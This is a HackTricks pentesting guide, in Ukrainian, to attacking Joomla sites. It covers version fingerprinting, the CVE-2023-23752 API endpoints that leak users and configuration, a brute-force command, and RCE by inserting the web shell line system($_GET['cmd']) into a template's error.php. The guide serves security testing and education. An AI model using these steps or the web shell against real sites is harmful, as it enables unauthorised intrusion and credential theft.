Joomla

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Статистика Joomla

Joomla збирає деякі анонімні статистичні дані використання, такі як розподіл версій Joomla, PHP та бази даних, а також операційних систем серверів, що використовуються в установках Joomla. Ці дані можна запитувати через їхній публічний API.

bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • Перевірте meta
bash
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Версія

  • У /administrator/manifests/files/joomla.xml ви можете побачити версію.
  • У /language/en-GB/en-GB.xml ви можете отримати версію Joomla.
  • У plugins/system/cache/cache.xml ви можете побачити приблизну версію.

Автоматичний

bash
droopescan scan joomla --url http://joomla-site.local/

В 80,443 - Методологія пентестингу веб є розділом про сканери CMS, які можуть сканувати Joomla.

Розкриття інформації без аутентифікації через API:

Версії від 4.0.0 до 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), що дозволяє вивантажувати облікові дані та іншу інформацію.

  • Користувачі: http://<host>/api/v1/users?public=true
  • Конфігураційний файл: http://<host>/api/index.php/v1/config/application?public=true

Модуль MSF: scanner/http/joomla_api_improper_access_checks або ruby-скрипт: 51334

Брутфорс

Ви можете використовувати цей скрипт для спроби брутфорсити вхід.

shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Якщо вам вдалося отримати адміністративні облікові дані, ви можете RCE всередині нього, додавши фрагмент PHP коду для отримання RCE. Ми можемо зробити це, налаштувавши шаблон.

  1. Натисніть на Templates внизу зліва під Configuration, щоб відкрити меню шаблонів.
  2. Натисніть на назву шаблону. Виберемо protostar під заголовком стовпця Template. Це перенесе нас на сторінку Templates: Customise.
  3. Нарешті, ви можете натиснути на сторінку, щоб відкрити джерело сторінки. Виберемо сторінку error.php. Додамо PHP однорядковий код для отримання виконання коду наступним чином:
  4. system($_GET['cmd']);
  5. Зберегти та закрити
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Від XSS до RCE

  • JoomSploit: Скрипт експлуатації Joomla, який підвищує XSS до RCE або інших критичних вразливостей. Для отримання додаткової інформації перегляньте цей пост. Він забезпечує підтримку версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:
  • Підвищення привілеїв: Створює користувача в Joomla.
  • (RCE) Вбудоване редагування шаблонів: Редагує вбудовані шаблони в Joomla.
  • (Custom) Користувацькі експлойти: Користувацькі експлойти для сторонніх плагінів Joomla.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks